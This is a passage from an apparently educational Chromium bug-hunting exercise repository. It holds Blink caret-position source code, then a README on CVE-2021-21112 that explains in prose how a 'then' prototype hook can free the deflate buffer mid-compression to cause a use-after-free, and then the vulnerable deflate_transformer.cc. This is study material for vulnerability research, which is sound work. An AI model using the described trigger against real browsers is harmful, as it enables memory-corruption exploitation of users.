Previous/NextGraphemeBoundaryOf() work on DOM offsets, // So they should use |offset_in_node| instead of |text_offset|. return text_offset == text_layout_object->CaretMinOffset() || text_offset == NextGraphemeBoundaryOf(*anchor_node, PreviousGraphemeBoundaryOf( *anchor_node, text_offset)); } bool RendersInDifferentPosition(const Position& position1, const Position& position2) { if (position1.IsNull() || position2.IsNull()) return false; const LocalCaretRect& caret_rect1 = LocalCaretRectOfPosition(PositionWithAffinity(position1)); const LocalCaretRect& caret_rect2 = LocalCaretRectOfPosition(PositionWithAffinity(position2)); if (!caret_rect1.layout_object || !caret_rect2.layout_object) return caret_rect1.layout_object != caret_rect2.layout_object; return LocalToAbsoluteQuadOf(caret_rect1) != LocalToAbsoluteQuadOf(caret_rect2); } // TODO(editing-dev): Share code with IsVisuallyEquivalentCandidate if possible. bool EndsOfNodeAreVisuallyDistinctPositions(const Node* node) { if (!node) return false; LayoutObject* layout_object = node->GetLayoutObject(); if (!layout_object) return false; if (!layout_object->IsInline()) return true; // Don't include inline tables. if (IsA(*node)) return false; // A Marquee elements are moving so we should assume their ends are always // visibily distinct. if (IsA(*node)) return true; // There is a VisiblePosition inside an empty inline-block container. return layout_object->IsAtomicInlineLevel() && CanHaveChildrenForEditing(node) && !To(layout_object)->Size().IsEmpty() && !HasRenderedNonAnonymousDescendantsWithHeight(layout_object); } template static Node* EnclosingVisualBoundary(Node* node) { while (node && !EndsOfNodeAreVisuallyDistinctPositions(node)) node = Strategy::Parent(*node); return node; } // upstream() and downstream() want to return positions that are either in a // text node or at just before a non-text node. This method checks for that. template static bool IsStreamer(const PositionIteratorAlgorithm& pos) { if (!pos.GetNode()) return true; if (IsAtomicNode(pos.GetNode())) return true; return pos.AtStartOfNode(); } template static Position MostBackwardOrForwardCaretPosition( const Position& position, EditingBoundaryCrossingRule rule, F AlgorithmInFlatTree) { Node* position_anchor = position.AnchorNode(); if (!position_anchor) return Position(); DCHECK(position.IsValidFor(*position.GetDocument())); // Find the most backward or forward caret position in the flat tree. const Position& candidate = ToPositionInDOMTree( AlgorithmInFlatTree(ToPositionInFlatTree(position), rule)); Node* candidate_anchor = candidate.AnchorNode(); if (!candidate_anchor) return candidate; // Fast path for common cases when there is no shadow involved. if (!position_anchor->IsInShadowTree() && !IsShadowHost(position_anchor) && !candidate_anchor->IsInShadowTree() && !IsShadowHost(candidate_anchor)) { return candidate; } // Adjust the candidate to avoid crossing shadow boundaries. const SelectionInDOMTree& selection = SelectionInDOMTree::Builder() .SetBaseAndExtent(position, candidate) .Build(); if (selection.IsCaret()) return candidate; const SelectionInDOMTree& shadow_adjusted_selection = SelectionAdjuster::AdjustSelectionToAvoidCrossingShadowBoundaries( selection); // If we have to adjust the position, the editability may change, so avoid // crossing editing boundaries if it's not allowed. if (rule == kCannotCrossEditingBoundary && selection != shadow_adjusted_selection) { const SelectionInDOMTree& editing_adjusted_selection = SelectionAdjuster::AdjustSelectionToAvoidCrossingEditingBoundaries( shadow_adjusted_selection); return editing_adjusted_selection.Extent(); } return shadow_adjusted_selection.Extent(); } template static PositionTemplate AdjustPositionForBackwardIteration( const PositionTemplate& position) { DCHECK(!position.IsNull()); if (!position.IsAfterAnchor()) return position; if (IsUserSelectContain(*position.AnchorNode())) return position.ToOffsetInAnchor(); return PositionTemplate::EditingPositionOf( position.AnchorNode(), Strategy::CaretMaxOffset(*position.AnchorNode())); } // TODO(yosin): We should make |Most{Back,For}kwardCaretPosition()| to work for // positions other than |kOffsetInAnchor|. When we convert |position| to // |kOffsetInAnchor|, following tests are failed: // * editing/execCommand/delete-non-editable-range-crash.html // * editing/execCommand/keep_typing_style.html // * editing/selection/skip-over-contenteditable.html // See also |AdjustForEditingBoundary()|. It has workaround for before/after // positions. template static PositionTemplate MostBackwardCaretPosition( const PositionTemplate& position, EditingBoundaryCrossingRule rule) { DCHECK(!NeedsLayoutTreeUpdate(position)) << position; TRACE_EVENT0("input", "VisibleUnits::mostBackwardCaretPosition"); Node* const start_node = position.AnchorNode(); if (!start_node) return PositionTemplate(); // iterate backward from there, looking for a qualified position Node* const boundary = EnclosingVisualBoundary(start_node); // FIXME: PositionIterator should respect Before and After positions. PositionIteratorAlgorithm last_visible( AdjustPositionForBackwardIteration(position)); const bool start_editable = HasEditableStyle(*start_node); Node* last_node = start_node; bool boundary_crossed = false; for (PositionIteratorAlgorithm current_pos = last_visible; !current_pos.AtStart(); current_pos.Decrement()) { Node* current_node = current_pos.GetNode(); // Don't check for an editability change if we haven't moved to a different // node, to avoid the expense of computing hasEditableStyle(). if (current_node != last_node) { // Don't change editability. const bool current_editable = HasEditableStyle(*current_node); if (start_editable != current_editable) { if (rule == kCannotCrossEditingBoundary) break; boundary_crossed = true; } last_node = current_node; } // There is no caret position in non-text svg elements. if (current_node->IsSVGElement() && !IsA(current_node)) continue; // If we've moved to a position that is visually distinct, return the last // saved position. There is code below that terminates early if we're // *about* to move to a visually distinct position. if (EndsOfNodeAreVisuallyDistinctPositions(current_node) && current_node != boundary) return last_visible.DeprecatedComputePosition(); // skip position in non-laid out or invisible node const LayoutObject* const layout_object = AssociatedLayoutObjectOf(*current_node, current_pos.OffsetInLeafNode(), LayoutObjectSide::kFirstLetterIfOnBoundary); if (!layout_object || layout_object->Style()->Visibility() != EVisibility::kVisible) continue; if (DisplayLockUtilities::NearestLockedExclusiveAncestor(*layout_object)) continue; if (rule == kCanCrossEditingBoundary && boundary_crossed) { last_visible = current_pos; break; } // track last visible streamer position if (IsStreamer(current_pos)) last_visible = current_pos; // Don't move past a position that is visually distinct. We could rely on // code above to terminate and return lastVisible on the next iteration, but // we terminate early to avoid doing a nodeIndex() call. if (EndsOfNodeAreVisuallyDistinctPositions(current_node) && current_pos.AtStartOfNode()) return last_visible.DeprecatedComputePosition(); // Return position after tables and nodes which have content that can be // ignored. if (EditingIgnoresContent(*current_node) || IsDisplayInsideTable(current_node)) { if (current_pos.AtEndOfNode()) return PositionTemplate::AfterNode(*current_node); continue; } // return current position if it is in laid out text if (!layout_object->IsText()) continue; const auto* const text_layout_object = To(layout_object); if (!text_layout_object->HasNonCollapsedText()) continue; const unsigned text_start_offset = text_layout_object->TextStartOffset(); if (current_node != start_node) { // This assertion fires in web tests in the case-transform.html test // because of a mix-up between offsets in the text in the DOM tree with // text in the layout tree which can have a different length due to case // transformation. // Until we resolve that, disable this so we can run the web tests! // DCHECK_GE(currentOffset, layoutObject->caretMaxOffset()); return PositionTemplate( current_node, text_layout_object->CaretMaxOffset() + text_start_offset); } DCHECK_GE(current_pos.OffsetInLeafNode(), static_cast(text_layout_object->TextStartOffset())); if (text_layout_object->IsAfterNonCollapsedCharacter( current_pos.OffsetInLeafNode() - text_layout_object->TextStartOffset())) return current_pos.ComputePosition(); } return last_visible.DeprecatedComputePosition(); } Position MostBackwardCaretPosition(const Position& position, EditingBoundaryCrossingRule rule) { return MostBackwardOrForwardCaretPosition( position, rule, MostBackwardCaretPosition); } PositionInFlatTree MostBackwardCaretPosition(const PositionInFlatTree& position, EditingBoundaryCrossingRule rule) { return MostBackwardCaretPosition(position, rule); } namespace { bool HasInvisibleFirstLetter(const Node* node) { if (!node || !node->IsTextNode()) return false; const auto* remaining_text = DynamicTo(node->GetLayoutObject()); if (!remaining_text || !remaining_text->IsRemainingTextLayoutObject()) return false; const auto* first_letter = DynamicTo(AssociatedLayoutObjectOf(*node, 0)); if (!first_letter || first_letter == remaining_text) return false; return first_letter->StyleRef().Visibility() != EVisibility::kVisible || DisplayLockUtilities::NearestLockedExclusiveAncestor(*first_letter); } } // namespace template PositionTemplate MostForwardCaretPosition( const PositionTemplate& position, EditingBoundaryCrossingRule rule) { DCHECK(!NeedsLayoutTreeUpdate(position)) << position; TRACE_EVENT0("input", "VisibleUnits::mostForwardCaretPosition"); Node* const start_node = position.AnchorNode(); if (!start_node) return PositionTemplate(); // iterate forward from there, looking for a qualified position Node* const boundary = EnclosingVisualBoundary(start_node); // FIXME: PositionIterator should respect Before and After positions. PositionIteratorAlgorithm last_visible( position.IsAfterAnchor() ? PositionTemplate::EditingPositionOf( position.AnchorNode(), Strategy::CaretMaxOffset(*position.AnchorNode())) : position); const bool start_editable = HasEditableStyle(*start_node); Node* last_node = start_node; bool boundary_crossed = false; for (PositionIteratorAlgorithm current_pos = last_visible; !current_pos.AtEnd(); current_pos.Increment()) { Node* current_node = current_pos.GetNode(); // Don't check for an editability change if we haven't moved to a different // node, to avoid the expense of computing hasEditableStyle(). if (current_node != last_node) { // Don't change editability. const bool current_editable = HasEditableStyle(*current_node); if (start_editable != current_editable) { if (rule == kCannotCrossEditingBoundary) break; boundary_crossed = true; } last_node = current_node; } // stop before going above the body, up into the head // return the last visible streamer position if (IsA(*current_node) && current_pos.AtEndOfNode()) break; // There is no caret position in non-text svg elements. if (current_node->IsSVGElement() && !IsA(current_node)) continue; // Do not move to a visually distinct position. if (EndsOfNodeAreVisuallyDistinctPositions(current_node) && current_node != boundary) return last_visible.DeprecatedComputePosition(); // Do not move past a visually disinct position. // Note: The first position after the last in a node whose ends are visually // distinct positions will be [boundary->parentNode(), // originalBlock->nodeIndex() + 1]. if (boundary && Strategy::Parent(*boundary) == current_node) return last_visible.DeprecatedComputePosition(); // skip position in non-laid out or invisible node const LayoutObject* const layout_object = AssociatedLayoutObjectOf(*current_node, current_pos.OffsetInLeafNode()); if (!layout_object || layout_object->Style()->Visibility() != EVisibility::kVisible) continue; if (DisplayLockUtilities::NearestLockedExclusiveAncestor(*layout_object)) continue; if (rule == kCanCrossEditingBoundary && boundary_crossed) return current_pos.DeprecatedComputePosition(); // track last visible streamer position if (IsStreamer(current_pos)) last_visible = current_pos; // Return position before tables and nodes which have content that can be // ignored. if (EditingIgnoresContent(*current_node) || IsDisplayInsideTable(current_node)) { if (current_pos.OffsetInLeafNode() <= 0) return PositionTemplate::EditingPositionOf(current_node, 0); continue; } // return current position if it is in laid out text if (!layout_object->IsText()) continue; const auto* const text_layout_object = To(layout_object); if (!text_layout_object->HasNonCollapsedText()) continue; const unsigned text_start_offset = text_layout_object->TextStartOffset(); if (current_node != start_node) { DCHECK(current_pos.AtStartOfNode() || HasInvisibleFirstLetter(current_node)); return PositionTemplate( current_node, text_layout_object->CaretMinOffset() + text_start_offset); } DCHECK_GE(current_pos.OffsetInLeafNode(), static_cast(text_layout_object->TextStartOffset())); if (text_layout_object->IsBeforeNonCollapsedCharacter( current_pos.OffsetInLeafNode() - text_layout_object->TextStartOffset())) return current_pos.ComputePosition(); } return last_visible.DeprecatedComputePosition(); } Position MostForwardCaretPosition(const Position& position, EditingBoundaryCrossingRule rule) { return MostBackwardOrForwardCaretPosition( position, rule, MostForwardCaretPosition); } PositionInFlatTree MostForwardCaretPosition(const PositionInFlatTree& position, EditingBoundaryCrossingRule rule) { return MostForwardCaretPosition(position, rule); } // Returns true if the visually equivalent positions around have different // editability. A position is considered at editing boundary if one of the // following is true: // 1. It is the first position in the node and the next visually equivalent // position is non editable. // 2. It is the last position in the node and the previous visually equivalent // position is non editable. // 3. It is an editable position and both the next and previous visually // equivalent positions are both non editable. template static bool AtEditingBoundary(const PositionTemplate positions) { PositionTemplate next_position = MostForwardCaretPosition(positions, kCanCrossEditingBoundary); if (positions.AtFirstEditingPositionForNode() && next_position.IsNotNull() && !HasEditableStyle(*next_position.AnchorNode())) return true; PositionTemplate prev_position = MostBackwardCaretPosition(positions, kCanCrossEditingBoundary); if (positions.AtLastEditingPositionForNode() && prev_position.IsNotNull() && !HasEditableStyle(*prev_position.AnchorNode())) return true; return next_position.IsNotNull() && !HasEditableStyle(*next_position.AnchorNode()) && prev_position.IsNotNull() && !HasEditableStyle(*prev_position.AnchorNode()); } template static bool IsVisuallyEquivalentCandidateAlgorithm( const PositionTemplate& position) { Node* const anchor_node = position.AnchorNode(); if (!anchor_node) return false; LayoutObject* layout_object = anchor_node->GetLayoutObject(); if (!layout_object) return false; if (layout_object->Style()->Visibility() != EVisibility::kVisible) return false; if (DisplayLockUtilities::NearestLockedExclusiveAncestor(*layout_object)) return false; if (layout_object->IsBR()) { // TODO(leviw) The condition should be // anchor_type_ == PositionAnchorType::kBeforeAnchor, but for now we // still need to support legacy positions. if (position.IsAfterAnchor()) return false; if (position.ComputeEditingOffset()) return false; const Node* parent = Strategy::Parent(*anchor_node); return parent->GetLayoutObject() && parent->GetLayoutObject()->IsSelectable(); } if (layout_object->IsText()) return layout_object->IsSelectable() && InRenderedText(position); if (layout_object->IsSVG()) { // We don't consider SVG elements are contenteditable except for // associated |layoutObject| returns |isText()| true, // e.g. |LayoutSVGInlineText|. return false; } if (IsDisplayInsideTable(anchor_node) || EditingIgnoresContent(*anchor_node)) { if (!position.AtFirstEditingPositionForNode() && !position.AtLastEditingPositionForNode()) return false; const Node* parent = Strategy::Parent(*anchor_node); return parent->GetLayoutObject() && parent->GetLayoutObject()->IsSelectable(); } if (anchor_node->GetDocument().documentElement() == anchor_node || anchor_node->IsDocumentNode()) return false; if (!layout_object->IsSelectable()) return false; if (layout_object->IsLayoutBlockFlow() || layout_object->IsFlexibleBoxIncludingNG() || layout_object->IsLayoutGrid()) { if (To(layout_object)->LogicalHeight() || anchor_node->GetDocument().body() == anchor_node) { if (!HasRenderedNonAnonymousDescendantsWithHeight(layout_object)) return position.AtFirstEditingPositionForNode(); return HasEditableStyle(*anchor_node) && AtEditingBoundary(position); } } else { return HasEditableStyle(*anchor_node) && AtEditingBoundary(position); } return false; } bool IsVisuallyEquivalentCandidate(const Position& position) { return IsVisuallyEquivalentCandidateAlgorithm(position); } bool IsVisuallyEquivalentCandidate(const PositionInFlatTree& position) { return IsVisuallyEquivalentCandidateAlgorithm( position); } template static PositionTemplate SkipToEndOfEditingBoundary( const PositionTemplate& pos, const PositionTemplate& anchor) { if (pos.IsNull()) return pos; ContainerNode* highest_root = HighestEditableRoot(anchor); ContainerNode* highest_root_of_pos = HighestEditableRoot(pos); // Return |pos| itself if the two are from the very same editable region, // or both are non-editable. if (highest_root_of_pos == highest_root) return pos; // If this is not editable but |pos| has an editable root, skip to the end if (!highest_root && highest_root_of_pos) { return PositionTemplate(highest_root_of_pos, PositionAnchorType::kAfterAnchor) .ParentAnchoredEquivalent(); } // That must mean that |pos| is not editable. Return the next position after // |pos| that is in the same editable region as this position DCHECK(highest_root); return FirstEditablePositionAfterPositionInRoot(pos, *highest_root); } template static UChar32 CharacterAfterAlgorithm( const VisiblePositionTemplate& visible_position) { DCHECK(visible_position.IsValid()) << visible_position; // We canonicalize to the first of two equivalent candidates, but the second // of the two candidates is the one that will be inside the text node // containing the character after this visible position. const PositionTemplate pos = MostForwardCaretPosition(visible_position.DeepEquivalent()); if (!pos.IsOffsetInAnchor()) return 0; auto* text_node = DynamicTo(pos.ComputeContainerNode()); if (!text_node) return 0; unsigned offset = static_cast(pos.OffsetInContainerNode()); unsigned length = text_node->length(); if (offset >= length) return 0; return text_node->data().CharacterStartingAt(offset); } UChar32 CharacterAfter(const VisiblePosition& visible_position) { return CharacterAfterAlgorithm(visible_position); } UChar32 CharacterAfter(const VisiblePositionInFlatTree& visible_position) { return CharacterAfterAlgorithm(visible_position); } template static UChar32 CharacterBeforeAlgorithm( const VisiblePositionTemplate& visible_position) { DCHECK(visible_position.IsValid()) << visible_position; return CharacterAfter(PreviousPositionOf(visible_position)); } UChar32 CharacterBefore(const VisiblePosition& visible_position) { return CharacterBeforeAlgorithm(visible_position); } UChar32 CharacterBefore(const VisiblePositionInFlatTree& visible_position) { return CharacterBeforeAlgorithm(visible_position); } template static VisiblePositionTemplate NextPositionOfAlgorithm( const PositionWithAffinityTemplate& position, EditingBoundaryCrossingRule rule) { const VisiblePositionTemplate next = CreateVisiblePosition( NextVisuallyDistinctCandidate(position.GetPosition()), position.Affinity()); switch (rule) { case kCanCrossEditingBoundary: return next; case kCannotCrossEditingBoundary: return CreateVisiblePosition( AdjustForwardPositionToAvoidCrossingEditingBoundaries( next.ToPositionWithAffinity(), position.GetPosition())); case kCanSkipOverEditingBoundary: return CreateVisiblePosition(SkipToEndOfEditingBoundary( next.DeepEquivalent(), position.GetPosition())); } NOTREACHED(); return next; } VisiblePosition NextPositionOf(const VisiblePosition& visible_position, EditingBoundaryCrossingRule rule) { DCHECK(visible_position.IsValid()) << visible_position; return NextPositionOfAlgorithm( visible_position.ToPositionWithAffinity(), rule); } VisiblePositionInFlatTree NextPositionOf( const VisiblePositionInFlatTree& visible_position, EditingBoundaryCrossingRule rule) { DCHECK(visible_position.IsValid()) << visible_position; return NextPositionOfAlgorithm( visible_position.ToPositionWithAffinity(), rule); } template static PositionTemplate SkipToStartOfEditingBoundary( const PositionTemplate& pos, const PositionTemplate& anchor) { if (pos.IsNull()) return pos; ContainerNode* highest_root = HighestEditableRoot(anchor); ContainerNode* highest_root_of_pos = HighestEditableRoot(pos); // Return |pos| itself if the two are from the very same editable region, or // both are non-editable. if (highest_root_of_pos == highest_root) return pos; // If this is not editable but |pos| has an editable root, skip to the start if (!highest_root && highest_root_of_pos) { return PreviousVisuallyDistinctCandidate( PositionTemplate(highest_root_of_pos, PositionAnchorType::kBeforeAnchor) .ParentAnchoredEquivalent()); } // That must mean that |pos| is not editable. Return the last position // before |pos| that is in the same editable region as this position DCHECK(highest_root); return LastEditablePositionBeforePositionInRoot(pos, *highest_root); } template static VisiblePositionTemplate PreviousPositionOfAlgorithm( const PositionTemplate& position, EditingBoundaryCrossingRule rule) { const PositionTemplate prev_position = PreviousVisuallyDistinctCandidate(position); // return null visible position if there is no previous visible position if (prev_position.AtStartOfTree()) return VisiblePositionTemplate(); // we should always be able to make the affinity |TextAffinity::Downstream|, // because going previous from an |TextAffinity::Upstream| position can // never yield another |TextAffinity::Upstream position| (unless line wrap // length is 0!). const VisiblePositionTemplate prev = CreateVisiblePosition(prev_position); if (prev.DeepEquivalent() == position) return VisiblePositionTemplate(); switch (rule) { case kCanCrossEditingBoundary: return prev; case kCannotCrossEditingBoundary: return CreateVisiblePosition( AdjustBackwardPositionToAvoidCrossingEditingBoundaries( prev.ToPositionWithAffinity(), position)); case kCanSkipOverEditingBoundary: return CreateVisiblePosition( SkipToStartOfEditingBoundary(prev.DeepEquivalent(), position)); } NOTREACHED(); return prev; } VisiblePosition PreviousPositionOf(const VisiblePosition& visible_position, EditingBoundaryCrossingRule rule) { DCHECK(visible_position.IsValid()) << visible_position; return PreviousPositionOfAlgorithm( visible_position.DeepEquivalent(), rule); } VisiblePositionInFlatTree PreviousPositionOf( const VisiblePositionInFlatTree& visible_position, EditingBoundaryCrossingRule rule) { DCHECK(visible_position.IsValid()) << visible_position; return PreviousPositionOfAlgorithm( visible_position.DeepEquivalent(), rule); } template static EphemeralRangeTemplate MakeSearchRange( const PositionTemplate& pos) { Node* node = pos.ComputeContainerNode(); if (!node) return EphemeralRangeTemplate(); Document& document = node->GetDocument(); if (!document.documentElement()) return EphemeralRangeTemplate(); Element* boundary = EnclosingBlockFlowElement(*node); if (!boundary) return EphemeralRangeTemplate(); return EphemeralRangeTemplate( pos, PositionTemplate::LastPositionInNode(*boundary)); } template static PositionTemplate SkipWhitespaceAlgorithm( const PositionTemplate& position) { const EphemeralRangeTemplate& search_range = MakeSearchRange(position); if (search_range.IsNull()) return position; CharacterIteratorAlgorithm char_it( search_range.StartPosition(), search_range.EndPosition(), TextIteratorBehavior::Builder() .SetEmitsCharactersBetweenAllVisiblePositions(true) .Build()); PositionTemplate runner = position; // TODO(editing-dev): We should consider U+20E3, COMBINING ENCLOSING KEYCAP. // When whitespace character followed by U+20E3, we should not consider // it as trailing white space. for (; char_it.length(); char_it.Advance(1)) { UChar c = char_it.CharacterAt(0); if ((!IsSpaceOrNewline(c) && c != kNoBreakSpaceCharacter) || c == '\n') return runner; runner = char_it.EndPosition(); } return runner; } Position SkipWhitespace(const Position& position) { return SkipWhitespaceAlgorithm(position); } PositionInFlatTree SkipWhitespace(const PositionInFlatTree& position) { return SkipWhitespaceAlgorithm(position); } template static Vector ComputeTextBounds( const EphemeralRangeTemplate& range) { const PositionTemplate& start_position = range.StartPosition(); const PositionTemplate& end_position = range.EndPosition(); Node* const start_container = start_position.ComputeContainerNode(); DCHECK(start_container); Node* const end_container = end_position.ComputeContainerNode(); DCHECK(end_container); DCHECK(!start_container->GetDocument().NeedsLayoutTreeUpdate()); Vector result; for (const Node& node : range.Nodes()) { LayoutObject* const layout_object = node.GetLayoutObject(); if (!layout_object || !layout_object->IsText()) continue; const auto* layout_text = To(layout_object); unsigned start_offset = node == start_container ? start_position.OffsetInContainerNode() : 0; unsigned end_offset = node == end_container ? end_position.OffsetInContainerNode() : std::numeric_limits::max(); layout_text->AbsoluteQuadsForRange(result, start_offset, end_offset); } return result; } template static FloatRect ComputeTextRectTemplate( const EphemeralRangeTemplate& range) { FloatRect result; for (auto rect : ComputeTextBounds(range)) result.Unite(rect.BoundingBox()); return result; } IntRect ComputeTextRect(const EphemeralRange& range) { return EnclosingIntRect(ComputeTextRectTemplate(range)); } IntRect ComputeTextRect(const EphemeralRangeInFlatTree& range) { return EnclosingIntRect(ComputeTextRectTemplate(range)); } FloatRect ComputeTextFloatRect(const EphemeralRange& range) { return ComputeTextRectTemplate(range); } IntRect FirstRectForRange(const EphemeralRange& range) { DCHECK(!range.GetDocument().NeedsLayoutTreeUpdate()); DocumentLifecycle::DisallowTransitionScope disallow_transition( range.GetDocument().Lifecycle()); LayoutUnit extra_width_to_end_of_line; DCHECK(range.IsNotNull()); const PositionWithAffinity start_position( CreateVisiblePosition(range.StartPosition()).DeepEquivalent(), TextAffinity::kDownstream); const IntRect start_caret_rect = AbsoluteCaretBoundsOf(start_position, &extra_width_to_end_of_line); if (start_caret_rect.IsEmpty()) return IntRect(); const PositionWithAffinity end_position( CreateVisiblePosition(range.EndPosition()).DeepEquivalent(), TextAffinity::kUpstream); const IntRect end_caret_rect = AbsoluteCaretBoundsOf(end_position); if (end_caret_rect.IsEmpty()) return IntRect(); if (start_caret_rect.Y() == end_caret_rect.Y()) { // start and end are on the same line return IntRect( std::min(start_caret_rect.X(), end_caret_rect.X()), start_caret_rect.Y(), abs(end_caret_rect.X() - start_caret_rect.X()), std::max(start_caret_rect.Height(), end_caret_rect.Height())); } // start and end aren't on the same line, so go from start to the end of its // line return IntRect( start_caret_rect.X(), start_caret_rect.Y(), (start_caret_rect.Width() + extra_width_to_end_of_line).ToInt(), start_caret_rect.Height()); } } // namespace blink ================================================ FILE: LEVEL_2/exercise_3/README.md ================================================ # Exercise 3 In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details. ## CVE-2021-21112 I sugget you don't search any report about it to prevents get too much info like patch. ### Details In level 2, we do it without the help of Details ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1151298
-------- ### Set environment after you fetch chromium ```sh git reset --hard 13aa7b32816e52bf1242d073ada2c892798190e7 ``` ### Related code [third_party/blink/renderer/modules/compression/deflate_transformer.cc](https://source.chromium.org/chromium/chromium/src/+/13aa7b32816e52bf1242d073ada2c892798190e7:third_party/blink/renderer/modules/compression/deflate_transformer.cc) [third_party/blink/renderer/modules/compression/inflate_transformer.cc](https://source.chromium.org/chromium/chromium/src/+/13aa7b32816e52bf1242d073ada2c892798190e7:third_party/blink/renderer/modules/compression/inflate_transformer.cc) You can read this [doc](https://docs.google.com/document/d/1TovyqqeC3HoO0A4UUBKiCyhZlQSl7jM_F7KbWjK2Gcs/edit) and [this](https://github.com/WICG/compression/blob/main/explainer.md) to get some info about `CompressionStreams` in chrome Read comment of [third_party/zlib/zlib.h](https://source.chromium.org/chromium/chromium/src/+/13aa7b32816e52bf1242d073ada2c892798190e7:third_party/zlib/zlib.h) to get detailed about `deflate` or `inflate`
If you find not release operation, you can get some tips here We can write the target data to chunk for compress by `CompressionStream('deflate').writable.getWriter().write([data])`, also we can read the compressed output. At the end of read operation, we can set "then" prototype to some javascript code to free the compressing buffer. But, how can we trigger uaf? Is the compression continue after we free? When should we release it?
### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer I have assumed a lot of vulnerability types, but finally they all false. I find not free operation during the compression. I know the compress need allocate chunk to save data, and free some of them. But none of them exist in deflate func. Maybe it’s because I’m not familiar enough with it. In order to reduce the difficulty, I write some tips I get from author. Author supply a method can be universally used which I said above. If you have read the tow docs about `CompressionStreams`, you can understand the source code quickily. If chunk too large, we need divide it into multiple small to compress one by one. As I side above, the compression operation is carried out step by step. The output can be read step by step, and at the end of every read operation, we can set "then" prototype to some javascript code to free the compressing buffer. ```c++ void DeflateTransformer::Deflate(const uint8_t* start, wtf_size_t length, IsFinished finished, TransformStreamDefaultController* controller, ExceptionState& exception_state) { stream_.avail_in = length; // Zlib treats this pointer as const, so this cast is safe. stream_.next_in = const_cast(start); do { stream_.avail_out = out_buffer_.size(); stream_.next_out = out_buffer_.data(); int err = deflate(&stream_, finished ? Z_FINISH : Z_NO_FLUSH); DCHECK((finished && err == Z_STREAM_END) || err == Z_OK || err == Z_BUF_ERROR); wtf_size_t bytes = out_buffer_.size() - stream_.avail_out; [1] if (bytes) { controller->enqueue( [2] script_state_, ScriptValue::From(script_state_, DOMUint8Array::Create(out_buffer_.data(), bytes)), exception_state); if (exception_state.HadException()) { return; } } } while (stream_.avail_out == 0); } ``` [1] calculate the remaining data needs to be compressed, and [2] call `enqueue` to compress them next time. A part of result will output after every time compression. We can read it and after we finish the read of once compression output, `then` func trigged. After free the compressing buffer, the next time of compression will trigger uaf.
-------- ================================================ FILE: LEVEL_2/exercise_3/deflate_transformer.cc ================================================ // Copyright 2019 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "third_party/blink/renderer/modules/compression/deflate_transformer.h" #include #include #include #include "third_party/blink/renderer/bindings/core/v8/array_buffer_or_array_buffer_view.h" #include "third_party/blink/renderer/bindings/core/v8/script_promise.h" #include "third_party/blink/renderer/bindings/core/v8/v8_binding_for_core.h" #include "third_party/blink/renderer/bindings/core/v8/v8_uint8_array.h" #include "third_party/blink/renderer/core/streams/transform_stream_default_controller.h" #include "third_party/blink/renderer/core/streams/transform_stream_transformer.h" #include "third_party/blink/renderer/core/typed_arrays/array_buffer_view_helpers.h" #include "third_party/blink/renderer/modules/compression/compression_format.h" #include "third_party/blink/renderer/modules/compression/zlib_partition_alloc.h" #include "third_party/blink/renderer/platform/bindings/exception_state.h" #include "third_party/blink/renderer/platform/bindings/to_v8.h" #include "v8/include/v8.h" namespace blink { DeflateTransformer::DeflateTransformer(ScriptState* script_state, CompressionFormat format, int level) : script_state_(script_state), out_buffer_(kBufferSize) { DCHECK(level >= 1 && level <= 9); memset(&stream_, 0, sizeof(z_stream)); ZlibPartitionAlloc::Configure(&stream_); constexpr int kWindowBits = 15; constexpr int kUseGzip = 16; int err; switch (format) { case CompressionFormat::kDeflate: err = deflateInit2(&stream_, level, Z_DEFLATED, kWindowBits, 8, Z_DEFAULT_STRATEGY); break; case CompressionFormat::kGzip: err = deflateInit2(&stream_, level, Z_DEFLATED, kWindowBits + kUseGzip, 8, Z_DEFAULT_STRATEGY); break; } DCHECK_EQ(Z_OK, err); } DeflateTransformer::~DeflateTransformer() { if (!was_flush_called_) { deflateEnd(&stream_); } } ScriptPromise DeflateTransformer::Transform( v8::Local chunk, TransformStreamDefaultController* controller, ExceptionState& exception_state) { ArrayBufferOrArrayBufferView buffer_source; V8ArrayBufferOrArrayBufferView::ToImpl( script_state_->GetIsolate(), chunk, buffer_source, UnionTypeConversionMode::kNotNullable, exception_state); if (exception_state.HadException()) { return ScriptPromise(); } if (buffer_source.IsArrayBufferView()) { const auto* view = buffer_source.GetAsArrayBufferView().View(); const uint8_t* start = static_cast(view->BaseAddress()); size_t length = view->byteLength(); if (length > std::numeric_limits::max()) { exception_state.ThrowRangeError( "Buffer size exceeds maximum heap object size."); return ScriptPromise(); } Deflate(start, static_cast(length), IsFinished(false), controller, exception_state); return ScriptPromise::CastUndefined(script_state_); } DCHECK(buffer_source.IsArrayBuffer()); const auto* array_buffer = buffer_source.GetAsArrayBuffer(); const uint8_t* start = static_cast(array_buffer->Data()); size_t length = array_buffer->ByteLength(); if (length > std::numeric_limits::max()) { exception_state.ThrowRangeError( "Buffer size exceeds maximum heap object size."); return ScriptPromise(); } Deflate(start, static_cast(length), IsFinished(false), controller, exception_state); return ScriptPromise::CastUndefined(script_state_); } ScriptPromise DeflateTransformer::Flush( TransformStreamDefaultController* controller, ExceptionState& exception_state) { Deflate(nullptr, 0u, IsFinished(true), controller, exception_state); was_flush_called_ = true; deflateEnd(&stream_); out_buffer_.clear(); return ScriptPromise::CastUndefined(script_state_); } void DeflateTransformer::Deflate(const uint8_t* start, wtf_size_t length, IsFinished finished, TransformStreamDefaultController* controller, ExceptionState& exception_state) { stream_.avail_in = length; // Zlib treats this pointer as const, so this cast is safe. stream_.next_in = const_cast(start); do { stream_.avail_out = out_buffer_.size(); stream_.next_out = out_buffer_.data(); int err = deflate(&stream_, finished ? Z_FINISH : Z_NO_FLUSH); DCHECK((finished && err == Z_STREAM_END) || err == Z_OK || err == Z_BUF_ERROR); wtf_size_t bytes = out_buffer_.size() - stream_.avail_out; if (bytes) { controller->enqueue( script_state_, ScriptValue::From(script_state_, DOMUint8Array::Create(out_buffer_.data(), bytes)), exception_state); if (exception_state.HadException()) { return; } } } while (stream_.avail_out == 0); } void DeflateTransformer::Trace(Visitor* visitor) const { visitor->Trace(script_state_); TransformStreamTransformer::Trace(visitor); } } // namespace blink ================================================ FILE: LEVEL_2/exercise_3/inflate_transformer.cc ================================================ // Copyright 2019 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // 